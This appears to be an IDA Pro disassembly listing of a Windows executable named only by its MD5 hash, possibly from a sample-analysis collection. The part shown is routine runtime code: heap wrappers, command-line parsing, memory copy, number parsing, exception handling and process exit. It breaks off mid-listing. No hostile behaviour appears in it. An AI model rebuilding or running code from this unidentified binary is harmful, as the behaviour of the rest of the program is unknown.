;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	2063EB5180AAF972B8EE78721B8A24A4

; File Name   :	u:\work\2063eb5180aaf972b8ee78721b8a24a4_orig.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00002404 (   9220.)
; Section size in file		: 00002600 (   9728.)
; Offset to raw	data for section: 00000400
; Flags	60000020: Text Executable Readable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
CODE		segment	para public 'CODE' use32
		assume cs:CODE
		;org 401000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
; [00000006 BYTES: COLLAPSED FUNCTION GetProcessHeap. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION HeapAlloc. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION HeapReAlloc. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION HeapFree.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION FreeLibrary. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetModuleFileNameA. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION LocalAlloc. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION TlsGetValue. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION TlsSetValue. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetCommandLineA. PRESS KEYPAD "+"	TO EXPAND]
		align 4


loc_401058:				; DATA XREF: sub_4015F8o
		jmp	ds:RaiseException
; ---------------------------------------------------------------------------
		align 10h


loc_401060:				; DATA XREF: sub_4015F8+Ao
		jmp	ds:RtlUnwind
; ---------------------------------------------------------------------------
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION CharNextA. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION ExitProcess. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetCurrentThreadId. PRESS	KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401080	proc near		; CODE XREF: sub_4010D0+4p
					; sub_401100+3Fp
					; DATA XREF: ...
		push	eax		; dwBytes
		mov	eax, ds:dwFlags
		push	eax		; dwFlags
		mov	eax, ds:hHeap
		push	eax		; hHeap
		call	HeapAlloc
		retn
sub_401080	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401094	proc near		; CODE XREF: sub_4010E8+4p
					; sub_401100+26p
					; DATA XREF: ...
		push	ebx
		mov	ebx, eax
		push	ebx		; lpMem
		mov	eax, ds:dwFlags
		and	eax, 1
		push	eax		; dwFlags
		mov	eax, ds:hHeap
		push	eax		; hHeap
		call	HeapFree
		cmp	eax, 1
		sbb	eax, eax
		neg	eax
		and	eax, 7Fh
		pop	ebx
		retn
sub_401094	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010B8	proc near		; CODE XREF: sub_401100+Dp
					; DATA XREF: DATA:off_404034o
		push	edx		; dwBytes
		push	eax		; lpMem
		mov	eax, ds:dwFlags
		and	eax, 0
		push	eax		; dwFlags
		mov	eax, ds:hHeap
		push	eax		; hHeap
		call	HeapReAlloc
		retn
sub_4010B8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4010D0	proc near		; CODE XREF: sub_4017E4+Cp
					; sub_403070+22p
		test	eax, eax
		jz	short locret_4010DE
		call	ds:off_40402C
		or	eax, eax
		jz	short loc_4010DF

locret_4010DE:				; CODE XREF: sub_4010D0+2j
		retn
; ---------------------------------------------------------------------------


loc_4010DF:				; CODE XREF: sub_4010D0+Cj
		mov	al, 1
		jmp	loc_4011A8
sub_4010D0	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4010E8	proc near		; CODE XREF: sub_40174C+1Bp
					; sub_401770+20p ...
		test	eax, eax
		jz	short locret_4010F6
		call	ds:off_404030
		or	eax, eax
		jnz	short loc_4010F7

locret_4010F6:				; CODE XREF: sub_4010E8+2j
		retn
; ---------------------------------------------------------------------------


loc_4010F7:				; CODE XREF: sub_4010E8+Cj
		mov	al, 2
		jmp	loc_4011A8
sub_4010E8	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401100	proc near		; CODE XREF: sub_4019F8+22p

; FUNCTION CHUNK AT 004011A8 SIZE 0000000B BYTES

		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_401138
		test	edx, edx
		jz	short loc_401122
		push	eax
		mov	eax, ecx
		call	ds:off_404034
		pop	ecx
		or	eax, eax
		jz	short loc_401131
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_40111B:				; CODE XREF: sub_401100+2Ej
		mov	al, 2
		jmp	loc_4011A8
; ---------------------------------------------------------------------------


loc_401122:				; CODE XREF: sub_401100+8j
		mov	[eax], edx
		mov	eax, ecx
		call	ds:off_404030
		or	eax, eax
		jnz	short loc_40111B
		retn
; ---------------------------------------------------------------------------


loc_401131:				; CODE XREF: sub_401100+16j
					; sub_401100+48j
		mov	al, 1
		jmp	loc_4011A8
; ---------------------------------------------------------------------------


loc_401138:				; CODE XREF: sub_401100+4j
		test	edx, edx
		jz	short locret_40114C
		push	eax
		mov	eax, edx
		call	ds:off_40402C
		pop	ecx
		or	eax, eax
		jz	short loc_401131
		mov	[ecx], eax

locret_40114C:				; CODE XREF: sub_401100+3Aj
		retn
sub_401100	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_401150	proc near		; CODE XREF: sub_40115C+42p
		mov	ds:dword_404004, edx
		call	sub_401734
sub_401150	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40115C	proc near		; CODE XREF: sub_401100+AEj
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		and	bl, 7Fh
		cmp	ds:dword_405004, 0
		jz	short loc_401178
		mov	edx, esi
		mov	eax, ebx
		call	ds:dword_405004


loc_401178:				; CODE XREF: sub_40115C+10j
		test	bl, bl
		jnz	short loc_401189
		call	sub_401BEC
		mov	ebx, [eax+0]
		jmp	short loc_401198
; ---------------------------------------------------------------------------


loc_401189:				; CODE XREF: sub_40115C+1Ej
		cmp	bl, 18h
		ja	short loc_401198
		xor	eax, eax
		mov	al, bl
		mov	bl, ds:byte_404038[eax]


loc_401198:				; CODE XREF: sub_40115C+2Bj
					; sub_40115C+30j
		xor	eax, eax
		mov	al, bl
		mov	edx, esi
		call	sub_401150
sub_40115C	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_401100


loc_4011A8:				; CODE XREF: sub_4010D0+11j
					; sub_4010E8+11j ...
		and	eax, 7Fh
		mov	edx, [esp+0]
		jmp	sub_40115C
; END OF FUNCTION CHUNK	FOR sub_401100
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4011B4	proc near		; CODE XREF: sub_401360+14p
					; sub_4017A0+1Bp ...
		cmp	ecx, 4
		jge	short loc_4011D5
		jcxz	locret_401213
		cmp	eax, edx
		jz	short locret_401213
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		ja	short loc_4011D1
		lea	esi, [ecx+esi-1]
		lea	edi, [ecx+edi-1]
		std


loc_4011D1:				; CODE XREF: sub_4011B4+12j
		rep movsb
		jmp	short loc_401201
; ---------------------------------------------------------------------------


loc_4011D5:				; CODE XREF: sub_4011B4+3j
		cmp	eax, edx
		jz	short locret_401213
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	eax, ecx
		ja	short loc_401203
		and	ecx, 3
		lea	esi, [eax+esi-1]
		lea	edi, [eax+edi-1]
		std
		rep movsb
		sar	eax, 2
		mov	ecx, eax
		mov	eax, 3
		sub	esi, eax
		sub	edi, eax
		rep movsd


loc_401201:				; CODE XREF: sub_4011B4+1Fj
		cld
		dec	ecx


loc_401203:				; CODE XREF: sub_4011B4+2Dj
		sar	ecx, 2
		js	short loc_401211
		rep movsd
		and	eax, 3
		mov	ecx, eax
		rep movsb


loc_401211:				; CODE XREF: sub_4011B4+52j
		pop	edi
		pop	esi

locret_401213:				; CODE XREF: sub_4011B4+5j
					; sub_4011B4+Aj ...
		retn
sub_4011B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_401214	proc near		; CODE XREF: sub_401300+41p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, edx
		mov	ebx, eax
		jmp	short loc_401226
; ---------------------------------------------------------------------------


loc_40121E:				; CODE XREF: sub_401214+1Aj
		push	ebx		; lpsz
		call	CharNextA	; CharNextA
		mov	ebx, eax


loc_401226:				; CODE XREF: sub_401214+8j
					; sub_401214+2Aj
		mov	al, [ebx]
		test	al, al
		jz	short loc_401230
		cmp	al, 20h
		jbe	short loc_40121E


loc_401230:				; CODE XREF: sub_401214+16j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_401240
		cmp	byte ptr [ebx+1], 22h
		jnz	short loc_401240
		add	ebx, 2
		jmp	short loc_401226
; ---------------------------------------------------------------------------


loc_401240:				; CODE XREF: sub_401214+1Fj
					; sub_401214+25j
		xor	ebp, ebp
		mov	edi, ebx
		jmp	short loc_401289
; ---------------------------------------------------------------------------


loc_401246:				; CODE XREF: sub_401214+79j
		cmp	al, 22h
		jnz	short loc_40127B
		push	ebx		; lpsz
		call	CharNextA	; CharNextA
		mov	ebx, eax
		jmp	short loc_401262
; ---------------------------------------------------------------------------


loc_401254:				; CODE XREF: sub_401214+56j
		push	ebx		; lpsz
		call	CharNextA	; CharNextA
		mov	edx, eax
		sub	edx, ebx
		add	ebp, edx
		mov	ebx, eax


loc_401262:				; CODE XREF: sub_401214+3Ej
		mov	al, [ebx]
		test	al, al
		jz	short loc_40126C
		cmp	al, 22h
		jnz	short loc_401254


loc_40126C:				; CODE XREF: sub_401214+52j
		cmp	byte ptr [ebx],	0
		jz	short loc_401289
		push	ebx		; lpsz
		call	CharNextA	; CharNextA
		mov	ebx, eax
		jmp	short loc_401289
; ---------------------------------------------------------------------------


loc_40127B:				; CODE XREF: sub_401214+34j
		push	ebx		; lpsz
		call	CharNextA	; CharNextA
		mov	edx, eax
		sub	edx, ebx
		add	ebp, edx
		mov	ebx, eax


loc_401289:				; CODE XREF: sub_401214+30j
					; sub_401214+5Bj ...
		mov	al, [ebx]
		cmp	al, 20h
		ja	short loc_401246
		mov	eax, esi
		mov	edx, ebp
		call	sub_4019F8
		mov	ebx, edi
		mov	edi, [esi]
		xor	esi, esi
		jmp	short loc_4012F1
; ---------------------------------------------------------------------------


loc_4012A0:				; CODE XREF: sub_401214+E1j
		cmp	al, 22h
		jnz	short loc_4012DC
		push	ebx		; lpsz
		call	CharNextA	; CharNextA
		mov	ebx, eax
		jmp	short loc_4012C3
; ---------------------------------------------------------------------------


loc_4012AE:				; CODE XREF: sub_401214+B7j
		push	ebx		; lpsz
		call	CharNextA	; CharNextA
		cmp	eax, ebx
		jbe	short loc_4012C3


loc_4012B8:				; CODE XREF: sub_401214+ADj
		mov	dl, [ebx]
		mov	[edi+esi], dl
		inc	ebx
		inc	esi
		cmp	eax, ebx
		ja	short loc_4012B8


loc_4012C3:				; CODE XREF: sub_401214+98j
					; sub_401214+A2j
		mov	al, [ebx]
		test	al, al
		jz	short loc_4012CD
		cmp	al, 22h
		jnz	short loc_4012AE


loc_4012CD:				; CODE XREF: sub_401214+B3j
		cmp	byte ptr [ebx],	0
		jz	short loc_4012F1
		push	ebx		; lpsz
		call	CharNextA	; CharNextA
		mov	ebx, eax
		jmp	short loc_4012F1
; ---------------------------------------------------------------------------


loc_4012DC:				; CODE XREF: sub_401214+8Ej
		push	ebx		; lpsz
		call	CharNextA	; CharNextA
		cmp	eax, ebx
		jbe	short loc_4012F1


loc_4012E6:				; CODE XREF: sub_401214+DBj
		mov	dl, [ebx]
		mov	[edi+esi], dl
		inc	ebx
		inc	esi
		cmp	eax, ebx
		ja	short loc_4012E6


loc_4012F1:				; CODE XREF: sub_401214+8Aj
					; sub_401214+BCj ...
		mov	al, [ebx]
		cmp	al, 20h
		ja	short loc_4012A0
		mov	eax, ebx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401214	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401300	proc near		; CODE XREF: sub_402FBC+1Dp
					; CODE:00403388p

Filename	= byte ptr -114h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFEF8h
		mov	ebx, edx
		mov	esi, eax
		mov	eax, ebx
		call	sub_40174C
		test	esi, esi
		jnz	short loc_401336
		push	105h		; nSize
		lea	eax, [esp+118h+Filename]
		push	eax		; lpFilename
		push	0		; hModule
		call	GetModuleFileNameA	; GetModuleFileNameA
		mov	ecx, eax
		mov	edx, esp
		mov	eax, ebx
		call	sub_401810
		jmp	short loc_401354
; ---------------------------------------------------------------------------


loc_401336:				; CODE XREF: sub_401300+16j
		call	GetCommandLineA	; GetCommandLineA
		mov	edi, eax


loc_40133D:				; CODE XREF: sub_401300+52j
		mov	edx, ebx
		mov	eax, edi
		call	sub_401214
		mov	edi, eax
		test	esi, esi
		jz	short loc_401354
		cmp	dword ptr [ebx], 0
		jz	short loc_401354
		dec	esi
		jmp	short loc_40133D
; ---------------------------------------------------------------------------


loc_401354:				; CODE XREF: sub_401300+34j
					; sub_401300+4Aj ...
		add	esp, 108h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401300	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401360	proc near		; CODE XREF: sub_4025E8+1Fp
					; sub_402D9C+1Fp
		push	ebx
		mov	bl, [edx]
		cmp	cl, bl
		jbe	short loc_401369
		mov	ecx, ebx


loc_401369:				; CODE XREF: sub_401360+5j
		mov	[eax], cl
		inc	edx
		inc	eax
		and	ecx, 0FFh
		xchg	eax, edx
		call	sub_4011B4
		pop	ebx
		retn
sub_401360	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40137C	proc near		; CODE XREF: sub_401DE0+Cp
					; sub_4020E4+7Ep ...
		push	edi
		mov	edi, eax
		mov	ch, cl
		mov	eax, ecx
		shl	eax, 10h
		mov	ax, cx
		mov	ecx, edx
		sar	ecx, 2
		js	short loc_401399
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_401399:				; CODE XREF: sub_40137C+12j
		pop	edi
		retn
sub_40137C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40139C	proc near		; CODE XREF: sub_4013FC+4p

var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		push	edx
		sub	esp, 14h
		mov	edi, ecx
		mov	esi, eax
		cdq
		xor	eax, edx
		sub	eax, edx
		mov	ecx, 0Ah
		xor	ebx, ebx


loc_4013B3:				; CODE XREF: sub_40139C+24j
		xor	edx, edx
		div	ecx
		add	edx, 30h
		mov	[esp+ebx+24h+var_24], dl
		inc	ebx
		test	eax, eax
		jnz	short loc_4013B3
		test	esi, esi
		jge	short loc_4013CB
		mov	[esp+ebx+24h+var_24], 2Dh
		inc	ebx


loc_4013CB:				; CODE XREF: sub_40139C+28j
		mov	[edi], bl
		inc	edi
		mov	ecx, [esp+24h+var_10]
		cmp	ecx, 0FFh
		jle	short loc_4013DF
		mov	ecx, 0FFh


loc_4013DF:				; CODE XREF: sub_40139C+3Cj
		sub	ecx, ebx
		jle	short loc_4013EA
		add	[edi-1], cl
		mov	al, 20h
		rep stosb


loc_4013EA:				; CODE XREF: sub_40139C+45j
					; sub_40139C+56j
		mov	al, [esp+ebx-1]
		mov	[edi], al
		inc	edi
		dec	ebx
		jnz	short loc_4013EA
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40139C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4013FC	proc near		; CODE XREF: sub_4025E8+12p
					; sub_402D9C+12p
		mov	ecx, edx
		xor	edx, edx
		call	sub_40139C
		retn
sub_4013FC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401408	proc near		; CODE XREF: sub_4025DC+3p
					; sub_402DD4+3p
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	eax
		test	eax, eax
		jz	short loc_40147E
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, 0CCCCCCCh


loc_40141B:				; CODE XREF: sub_401408+19j
		mov	bl, [esi]
		inc	esi
		cmp	bl, 20h
		jz	short loc_40141B
		mov	ch, 0
		cmp	bl, 2Dh
		jz	short loc_40148C
		cmp	bl, 2Bh
		jz	short loc_40148E
		cmp	bl, 24h
		jz	short loc_401493
		cmp	bl, 78h
		jz	short loc_401493
		cmp	bl, 58h
		jz	short loc_401493
		cmp	bl, 30h
		jnz	short loc_401456
		mov	bl, [esi]
		inc	esi
		cmp	bl, 78h
		jz	short loc_401493
		cmp	bl, 58h
		jz	short loc_401493
		test	bl, bl
		jz	short loc_401474
		jmp	short loc_40145A
; ---------------------------------------------------------------------------


loc_401456:				; CODE XREF: sub_401408+39j
					; sub_401408+89j
		test	bl, bl
		jz	short loc_401487


loc_40145A:				; CODE XREF: sub_401408+4Cj
					; sub_401408+6Aj
		sub	bl, 30h
		cmp	bl, 9
		ja	short loc_401487
		cmp	eax, edi
		ja	short loc_401487
		lea	eax, [eax+eax*4]
		add	eax, eax
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_40145A


loc_401474:				; CODE XREF: sub_401408+4Aj
		dec	ch
		jz	short loc_401481
		test	eax, eax
		jge	short loc_4014CA
		jmp	short loc_401487
; ---------------------------------------------------------------------------


loc_40147E:				; CODE XREF: sub_401408+8j
					; sub_401408+95j
		inc	esi
		jmp	short loc_401487
; ---------------------------------------------------------------------------


loc_401481:				; CODE XREF: sub_401408+6Ej
		neg	eax
		jle	short loc_4014CA
		js	short loc_4014CA


loc_401487:				; CODE XREF: sub_401408+50j
					; sub_401408+58j ...
		pop	ebx
		sub	esi, ebx
		jmp	short loc_4014CD
; ---------------------------------------------------------------------------


loc_40148C:				; CODE XREF: sub_401408+20j
		inc	ch


loc_40148E:				; CODE XREF: sub_401408+25j
		mov	bl, [esi]
		inc	esi
		jmp	short loc_401456
; ---------------------------------------------------------------------------


loc_401493:				; CODE XREF: sub_401408+2Aj
					; sub_401408+2Fj ...
		mov	edi, 0FFFFFFFh
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jz	short loc_40147E


loc_40149F:				; CODE XREF: sub_401408+C0j
		cmp	bl, 61h
		jb	short loc_4014A7
		sub	bl, 20h


loc_4014A7:				; CODE XREF: sub_401408+9Aj
		sub	bl, 30h
		cmp	bl, 9
		jbe	short loc_4014BA
		sub	bl, 11h
		cmp	bl, 5
		ja	short loc_401487
		add	bl, 0Ah


loc_4014BA:				; CODE XREF: sub_401408+A5j
		cmp	eax, edi
		ja	short loc_401487
		shl	eax, 4
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_40149F


loc_4014CA:				; CODE XREF: sub_401408+72j
					; sub_401408+7Bj ...
		pop	ecx
		xor	esi, esi


loc_4014CD:				; CODE XREF: sub_401408+82j
		mov	[edx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401408	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4014D4	proc near		; CODE XREF: sub_4014F4+Cp
		test	ecx, ecx
		jz	short locret_4014F1
		mov	eax, [ecx+1]
		cmp	byte ptr [ecx],	0E9h
		jz	short loc_4014EC
		cmp	byte ptr [ecx],	0EBh
		jnz	short locret_4014F1
		movsx	eax, al
		inc	ecx
		inc	ecx
		jmp	short loc_4014EF
; ---------------------------------------------------------------------------


loc_4014EC:				; CODE XREF: sub_4014D4+Aj
		add	ecx, 5


loc_4014EF:				; CODE XREF: sub_4014D4+16j
		add	ecx, eax

locret_4014F1:				; CODE XREF: sub_4014D4+2j
					; sub_4014D4+Fj
		retn
sub_4014D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4014F4	proc near		; CODE XREF: sub_401EBC-97Bp
		cmp	ds:byte_404008,	1
		jbe	short locret_40151A
		push	eax
		push	edx
		push	ecx
		call	sub_4014D4
		push	ecx
		push	esp
		push	1
		push	0
		push	0EEDFAE1h
		call	ds:dword_405008
		pop	ecx
		pop	ecx
		pop	edx
		pop	eax

locret_40151A:				; CODE XREF: sub_4014F4+7j
		retn
sub_4014F4	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_401EBC


loc_40151C:				; CODE XREF: sub_401AD8:loc_401B0Bj
					; sub_401C7C:loc_401CADj ...
		mov	eax, [esp-4+arg_0]
		mov	edx, [esp-4+arg_4]
		test	dword ptr [eax+4], 6
		jz	short loc_40154C
		mov	ecx, [edx+4]
		mov	dword ptr [edx+4], offset loc_40154C
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, [edx+8]
		add	ecx, 5
		call	sub_4014F4
		call	ecx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_40154C:				; CODE XREF: sub_401EBC-991j
					; DATA XREF: sub_401EBC-98Co
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_401EBC
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401554	proc near		; CODE XREF: sub_401664:loc_4016B2p
					; DATA XREF: DATA:off_40401Co
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	edi, offset dword_405590
		mov	eax, [edi+8]
		test	eax, eax
		jz	short loc_401582
		mov	ebx, [edi+0Ch]
		mov	esi, [eax+4]
		test	ebx, ebx
		jle	short loc_401582


loc_40156E:				; CODE XREF: sub_401554+2Cj
		dec	ebx
		mov	[edi+0Ch], ebx
		mov	eax, [esi+ebx*8+4]
		test	eax, eax
		jz	short loc_40157E
		mov	ebp, eax
		call	ebp


loc_40157E:				; CODE XREF: sub_401554+24j
		test	ebx, ebx
		jg	short loc_40156E


loc_401582:				; CODE XREF: sub_401554+Ej
					; sub_401554+18j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401554	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401588	proc near		; CODE XREF: sub_401588+43p
					; sub_4015DC+12p
					; DATA XREF: ...
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	edi, ecx
		mov	ebp, edx
		mov	esi, eax
		mov	eax, offset sub_401588
		cmp	eax, ds:off_404018
		setz	bl
		cmp	edi, ebp
		jle	short loc_4015D7


loc_4015A4:				; CODE XREF: sub_401588+4Dj
		mov	eax, [esi+ebp*8]
		inc	ebp
		mov	ds:dword_40559C, ebp
		test	eax, eax
		jz	short loc_4015B4
		call	eax


loc_4015B4:				; CODE XREF: sub_401588+28j
		test	bl, bl
		jz	short loc_4015D3
		mov	eax, offset sub_401588
		cmp	eax, ds:off_404018
		jz	short loc_4015D3
		mov	ecx, edi
		mov	edx, ebp
		mov	eax, esi
		call	ds:off_404018
		jmp	short loc_4015D7
; ---------------------------------------------------------------------------


loc_4015D3:				; CODE XREF: sub_401588+2Ej
					; sub_401588+3Bj
		cmp	edi, ebp
		jg	short loc_4015A4


loc_4015D7:				; CODE XREF: sub_401588+1Aj
					; sub_401588+49j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401588	endp


; =============== S U B	R O U T	I N E =======================================



sub_4015DC	proc near		; CODE XREF: sub_4015F8+35p
		mov	eax, ds:dword_405598
		test	eax, eax
		jz	short locret_4015F4
		mov	edx, [eax]
		xor	ecx, ecx
		mov	eax, [eax+4]
		xchg	ecx, edx
		call	ds:off_404018

locret_4015F4:				; CODE XREF: sub_4015DC+7j
		retn
sub_4015DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4015F8	proc near		; CODE XREF: sub_401C38+3Ap
		mov	ds:dword_405008, offset	loc_401058
		mov	ds:dword_40500C, offset	loc_401060
		mov	ds:dword_405598, eax
		xor	eax, eax
		mov	ds:dword_40559C, eax
		mov	ds:dword_4055A0, edx
		mov	eax, [edx+4]
		mov	ds:dword_405014, eax
		mov	ds:byte_40501C,	0
		call	sub_4015DC
		retn
sub_4015F8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401634	proc near		; CODE XREF: sub_401664+96p
		xor	eax, eax
		xchg	eax, ds:dword_404000
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edi, offset dword_405590
		mov	ebx, [edi+18h]
		mov	ebp, [edi+14h]
		push	dword ptr [edi+1Ch]
		push	dword ptr [edi+20h]
		mov	esi, [edi]
		mov	ecx, 0Bh
		rep movsd
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_401634	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_401664	proc near		; CODE XREF: sub_401734+5p
					; CODE:004033DAp
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, offset dword_405590
		mov	esi, offset dword_404000
		mov	edi, offset dword_405020
		cmp	byte ptr [ebx+28h], 0
		jnz	short loc_401693
		cmp	dword ptr [edi], 0
		jz	short loc_401693


loc_401682:				; CODE XREF: sub_401664+2Dj
		mov	edx, [edi]
		mov	eax, edx
		xor	edx, edx
		mov	[edi], edx
		mov	ebp, eax
		call	ebp
		cmp	dword ptr [edi], 0
		jnz	short loc_401682


loc_401693:				; CODE XREF: sub_401664+17j
					; sub_401664+1Cj
		cmp	ds:dword_404004, 0
		jz	short loc_4016A2
		call	ds:off_404054


loc_4016A2:				; CODE XREF: sub_401664+36j
					; sub_401664+C6j
		cmp	byte ptr [ebx+28h], 2
		jnz	short loc_4016B2
		cmp	dword ptr [esi], 0
		jnz	short loc_4016B2
		xor	eax, eax
		mov	[ebx+0Ch], eax


loc_4016B2:				; CODE XREF: sub_401664+42j
					; sub_401664+47j
		call	ds:off_40401C
		cmp	byte ptr [ebx+28h], 1
		jbe	short loc_4016C3
		cmp	dword ptr [esi], 0
		jz	short loc_4016E5


loc_4016C3:				; CODE XREF: sub_401664+58j
		mov	eax, [ebx+10h]
		test	eax, eax
		jz	short loc_4016E5
		call	ds:off_404014
		mov	edx, [ebx+10h]
		mov	eax, [edx+10h]
		cmp	eax, [edx+4]
		jz	short loc_4016E5
		test	eax, eax
		jz	short loc_4016E5
		push	eax		; hLibModule
		call	FreeLibrary	; FreeLibrary


loc_4016E5:				; CODE XREF: sub_401664+5Dj
					; sub_401664+64j ...
		call	ds:off_404020
		cmp	byte ptr [ebx+28h], 1
		jnz	short loc_4016F4
		call	dword ptr [ebx+24h]


loc_4016F4:				; CODE XREF: sub_401664+8Bj
		cmp	byte ptr [ebx+28h], 0
		jz	short loc_4016FF
		call	sub_401634


loc_4016FF:				; CODE XREF: sub_401664+94j
		cmp	dword ptr [ebx], 0
		jnz	short loc_40171B
		cmp	ds:dword_405010, 0
		jz	short loc_401713
		call	ds:dword_405010


loc_401713:				; CODE XREF: sub_401664+A7j
		mov	eax, [esi]
		push	eax		; uExitCode
		call	ExitProcess	; ExitProcess
; ---------------------------------------------------------------------------


loc_40171B:				; CODE XREF: sub_401664+9Ej
		mov	eax, [ebx]
		push	esi
		mov	esi, eax
		mov	edi, ebx
		mov	ecx, 0Bh
		rep movsd
		pop	esi
		jmp	loc_4016A2
sub_401664	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_401734	proc near		; CODE XREF: sub_401150+6p
					; sub_401740+6j ...
		mov	ds:dword_404000, eax
		call	sub_401664
sub_401734	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


